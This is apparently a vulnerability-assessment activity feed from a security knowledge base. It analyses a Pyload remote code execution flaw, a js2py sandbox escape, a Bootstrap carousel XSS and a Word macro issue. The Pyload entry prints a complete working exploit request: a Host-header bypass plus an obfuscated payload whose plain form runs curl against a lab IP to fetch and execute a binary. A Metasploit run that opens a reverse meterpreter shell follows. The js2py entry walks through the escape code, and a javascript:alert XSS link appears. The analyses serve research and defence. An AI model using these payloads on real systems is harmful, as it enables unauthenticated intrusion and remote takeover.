Activity Feed
- Vendor Advisory (https://security.paloaltonetworks.com/CVE-2024-9474)
Technical Analysis
This is a 0-day vulnerability because Microsoft still can not do anything against this nonsense to input a VBS programming language into the Word program – macros options.
That they make verification of any VBS is not fixing the problem. In this case, the attacker can bypass this security view of Office 365 – Word, and the victim can easily open a malicious docx file that directly communicates with the attacker’s server. This won’t be nice for the target.
#NOTE: I will not upload any code, for security reasons! Sorry about that but you can find it, if you want :)! Best Regards to the Rapid7 team!
Demo of PoC [+]:
PoC
Best Regards to all.
Technical Analysis
Pyload is an open-source download manager designed to automate file downloads from various online sources. CVE-2024-39205 is a remote
code execution vulnerability in Pyload (<=0.5.0b3.dev85) which can’t be talked about without CVE-2024-28397. CVE-2024-28397 is a sandbox escape vulnerability in js2py (<=0.74). Pyload is vulnerable because it exposes the vulnerable js2py functionality on its /flash/addcrypted2
API endpoint. So they’re essentially the same vulnerability, one is the original vulnerability in the package (CVE-2024-28397) and the other is the vulnerable package in an application being used in a vulnerable way (CVE-2024-39205). For a deeper dive on how the sandbox escape works checkout the AKB Article.
What makes this Pyload nicely exploitable is that the vulnerable endpoint, /flash/addcrypted2
, was designed to only accept connections from localhost. However, by manipulating the HOST header (and setting it manually to 127.0.0.1:9666
) we can bypass this restriction in order to access the API to achieve unauthenticatecd RCE.
If we spin up the following vulnerable Pyload docker container:
docker run -d \ --name=pyload-ng \ -e PUID=1000 \ -e PGID=1000 \ -e TZ=Etc/UTC \ -p 8000:8000 \ -p 9666:9666 \ --restart unless-stopped \ lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85
And then if we send the following POST request:
POST /flash/addcrypted2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.2792.79 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: 3151 crypted=MQ%3d%3d&jk=let%20gn_vuk%20%3d%20String.fromCharCode%28%20%200x63%2c%20117%2c%20114%2c%20108%2c%200x20%2c%200x2d%2c%200x73%2c%20111%2c%20040%2c%20056%2c%20057%2c%200x66%2c%200x42%2c%200x54%2c%200111%2c%200x79%2c%20110%2c%2099%2c%20108%2c%20040%2c%20104%2c%20116%2c%200164%2c%200160%2c%20072%2c%20057%2c%2047%2c%200x31%2c%2055%2c%200x32%2c%200x2e%2c%2049%2c%200x36%2c%200x2e%2c%20061%2c%200x39%2c%2057%2c%2046%2c%20061%2c%200x3a%2c%200x38%2c%20060%2c%2056%2c%200x30%2c%20057%2c%2056%2c%2081%2c%20118%2c%2066%2c%200125%2c%200x50%2c%200x32%2c%20115%2c%200125%2c%200105%2c%200x6d%2c%200x73%2c%200161%2c%2055%2c%20114%2c%200x5f%2c%200172%2c%200x65%2c%200110%2c%200x4b%2c%2057%2c%200x41%2c%2059%2c%2032%2c%200x63%2c%20104%2c%200x6d%2c%200157%2c%20100%2c%2032%2c%200x2b%2c%200x78%2c%200x20%2c%2046%2c%20057%2c%200146%2c%2066%2c%200124%2c%200111%2c%200171%2c%200x6e%2c%200x63%2c%20108%2c%2059%2c%2032%2c%20056%2c%200x2f%2c%200x66%2c%200x42%2c%200124%2c%200x49%2c%20121%2c%200x6e%2c%2099%2c%200154%2c%2032%2c%20046%20%29%0alet%20e_HN%2c%20hnktIzX%2c%20lLvLEoCSOI%0alet%20aCfc8WvqK%2c%20hOq75PVaOuLE%0a%0as5YzR%20%3d%20String.fromCharCode%28%20%200x5f%2c%200137%2c%200x62%2c%2097%2c%200163%2c%200145%2c%200x5f%2c%200x5f%20%29%0asxNn9E7%20%3d%20String.fromCharCode%28%20%200137%2c%200137%2c%200147%2c%20101%2c%200x74%2c%200141%2c%200x74%2c%200164%2c%20114%2c%200151%2c%200142%2c%20117%2c%200164%2c%20101%2c%200x5f%2c%200137%20%29%0ae_HN%20%3d%20Object.getOwnPropertyNames%28%7b%7d%29%0ahnktIzX%20%3d%20e_HN%5bsxNn9E7%5d%0alLvLEoCSOI%20%3d%20hnktIzX%28String.fromCharCode%28%20%2095%2c%200137%2c%200x67%2c%200x65%2c%20116%2c%200x61%2c%200164%2c%200164%2c%200x72%2c%20105%2c%200142%2c%20117%2c%20116%2c%20101%2c%200x5f%2c%200137%20%29%29%0ahOq75PVaOuLE%20%3d%20lLvLEoCSOI%28String.fromCharCode%28%20%2095%2c%200137%2c%200143%2c%200154%2c%2097%2c%20115%2c%200163%2c%2095%2c%2095%20%29%29%5bs5YzR%5d%0aaCfc8WvqK%20%3d%20hOq75PVaOuLE%5bsxNn9E7%5d%0acF_EUy%20%3d%20String.fromCharCode%28%20%2095%2c%200x5f%2c%200163%2c%200165%2c%200142%2c%200143%2c%200x6c%2c%2097%2c%20115%2c%200163%2c%200x65%2c%200x73%2c%2095%2c%200x5f%20%29%3b%0a%0afunction%20nNmzXJ4%28hrx%29%20%7b%0a%20%20%20%20let%20ulg4%3b%0a%20%20%20%20for%28let%20i57HuIp%20in%20hrx%5bcF_EUy%5d%28%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20u5QFJXSf%20%3d%20hrx%5bcF_EUy%5d%28%29%5bi57HuIp%5d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__module__%20%3d%3d%20unescape%28%22%2573%2575%2562%2570%2572%22%20%2b%20%22%256f%2563%2565%2573%2573%22%29%20%26%26%20u5QFJXSf.__name__%20%3d%3d%20String.fromCharCode%28%20%2080%2c%200x6f%2c%200160%2c%20101%2c%200x6e%20%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20u5QFJXSf%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__name__%20%21%3d%20String.fromCharCode%28%20%20116%2c%200x79%2c%20112%2c%200145%20%29%20%26%26%20%28ulg4%20%3d%20nNmzXJ4%28u5QFJXSf%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20ulg4%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%7d%0a%0alLvLEoCSOI%20%3d%20nNmzXJ4%28hOq75PVaOuLE%29%28gn_vuk%2c%20-1%2c%20null%2c%20-1%2c%20-1%2c%20-1%2c%20null%2c%20null%2c%20true%29.communicate%28%29%0a
With a listener setup, we will receive a call back from our payload.
Lets analyze the contents of the POST request. We can see we trick the API into processing our request by setting the Host header: Host: 127.0.0.1:9666
. The POST parameter crypted
is just a random 4 characters base64 encoded, quite inconsequential. The jk
parameter contains the javascript payload (which technically exploits CVE-2024-28397) which has been obfuscated as well as URL encoded.
The plain text version of the payload is as follows (taken from CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py::
let cmd = "curl -so ./qOjRpLcmT http://172.16.199.1:8080/8QvBUP2sUEmsq7r_zeHK9A; chmod +x ./qOjRpLcmT; ./qOjRpLcmT & " let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve("__getattribute__") obj = n11("__class__").__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) n11
Again, for a deeper dive into what’s going on in the javascript above check out CVE-2024-28397.
Attacker Value and Exploitability
This vulnerability is pretty easy to exploit, requires no authentication and is vulnerable in it’s default configuration. Pyload has 3.3k stars on github meaning that the plugin is being used in some capacity. Added context: I decided to give the attacker rating (3/5), one less than the rating I gave for the js2py sandbox escape CVE-2024-28397, because this vulnerability is patched and the value it can provide to attackers is limited to the Pyload application. The js2py bug is not patched and could provide attackers value in many other applications the library is used in.
Metasploit Module in Action
msf6 > use linux/http/pyload_js2py_cve_2024_39205 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 rhost => 127.0.0.1 msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options Module options (exploit/linux/http/pyload_js2py_cve_2024_39205): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 9666 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes Base path URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILENAME FTdcATmGGDpa no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces LHOST 172.16.199.1 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Successfully tested command injection. [*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp [*] Sending stage (3045380 bytes) to 172.16.199.1 [*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800 meterpreter > getruid [-] Unknown command: getruid. Did you mean getuid? Run the help command for more details. meterpreter > getuid Server username: abc meterpreter > sysinfo Computer : 172.17.0.2 OS : (Linux 6.10.11-linuxkit) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
Technical Analysis
Js2py is JavaScript to Python Translator & JavaScript interpreter written in 100% pure Python. It’s described as an implementation of JavaScript core in python. There exists a sandbox escape vulnerability in versions of js2py <= 0.74. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape the sandbox and execute arbitrary commands on the host. At the time of writing no patch has been merged into the main branch of the project, although there is a PR up. Version 0.74 is the latest version of js2py which was released Nov 6, 2022.
If we take a look at the proposed one line patch we can see the issue is quite apparent:
The method getOwnPropertyNames
is supposed to return a list of the object’s own keys however it mistakenly returns a reference to the object itself. With knowledge we can analyze the PoC and see how this bug allows for RCE. The following is a javascript payload an attacker would send to a vulnerable endpoint to be parsed by js2py:
object = Object.getOwnPropertyNames({}) // [1] attribute = object.__getattribute__ // [2] n11 = attribute("__getattribute__") // [3] obj = n11("__class__").__base__ // [4]
- [1]:
Object.getOwnPropertyNames({})
we know from the brief patch analysis incorrectly returns a Python object instead of a list of property names, causing unexpected behavior in subsequent introspection.
- [2]
.__getattribute__
is a special method that allows you to customize the attribute access behavior for an object. It is called whenever an attribute is accessed on an object, regardless of whether the attribute exists or not. This line stores the__getattribute__
method of the object in variableattribute
.
- [3] This line calls the
__getattribute__
method (stored inattribute
) with the argument__getattribute__
. This retrieves the__getattribute__
method from the Python object and assigns it ton11
. If python object introspection reminds you of the movie inception, that’s okay.
- [4] Now we have a function
n11
which we can use to access the__class__
attribute of the object and then the__base__
attribute of its class. And with this in place now we can do some damage.
We can see how the PoC then takes that object and sends it off to the function findpopen(o)
.
function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
This function iterates through all of the object’s subclasses in order to find subprocess
and its corresponding Popen
function. Now with a reference to Python’s
Popen we can send arbitrary commands to the target, remotely, without authentication, directly from javascript. Very cool. The full PoC can be found here.
Attacker Value and Exploitability
Js2py is just a python package and in order to be exploitable needs to be used by an application in a way that exposes the vulnerable API functionality to attackers. This makes things interesting – it’s not technically vulnerable by default but at the same time it’s a bit harder to determine where vulnerable instances of js2py could be lurking. The github repo says the package is used by 15,623. Seeing as the vulnerability is still unpatched I’d say this is fairly useful to attackers for a vulnerability in a python package. It’s also quite easy to exploit if the application is using js2py in a vulnerable configuration.
Related – CVE-2024-39205
This CVE is for Pyload, a python download manager which incorrectly exposes js2py making it vulnerable to this javascript sandbox escape. For more information on how this can be exploited check out the AKB article.
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/11/14/cisa-adds-two-known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2024/11/14/cisa-adds-two-known-exploited-vulnerabilities-catalog)
Nice one, @Lawlez, thanks for contributing!
Technical Analysis
Because this vulnerability only arises when the carousel is in use, and we can control the href attribute, the rating was given to be lower than usual.
example:
<div id="Carousel" class="carousel"></div> <a href="javascript:alert('xss')" data-slide="prev"> Previous Slide </a>
Bootstrap carousel component: https://getbootstrap.com/docs/4.6/components/carousel/
In the two scenarios where bootstrap was used by the target, there was either no carousel in use or, like most, a carousel with non-user controllable elements. Thus giving no way to exploit unless you are already an admin on the CMS.
While a successful exploitation of this vulnerability could lead to code execution and could even be used to capture higher privileged credentials, the real world exploitability of this vulnerability seems to be rather low.
So to summarize, to be able to actually exploit it we need:
- a website using an affected bootstrap version
- the website must implement the carousel component from bootstrap
- we must be able to control the href attribute given to the carousel
- no presence of a valid data-target attribute because it will override the href and the XSS would not be evaluated.
- News Article or Blog (https://news.sophos.com/en-us/2024/10/31/pacific-rim-timeline/)
Hey @nu11secur1ty, it’s not beneficial to the community to post a link to a PoC that directs to a personal platform you appear to be using for profit. We’ve spoken before about the need to share open information on AttackerKB — please either link to an open-source PoC or remove the link to the PoC on Patreon. We’ll give you 24 hours to fix this or else we will remove this assessment.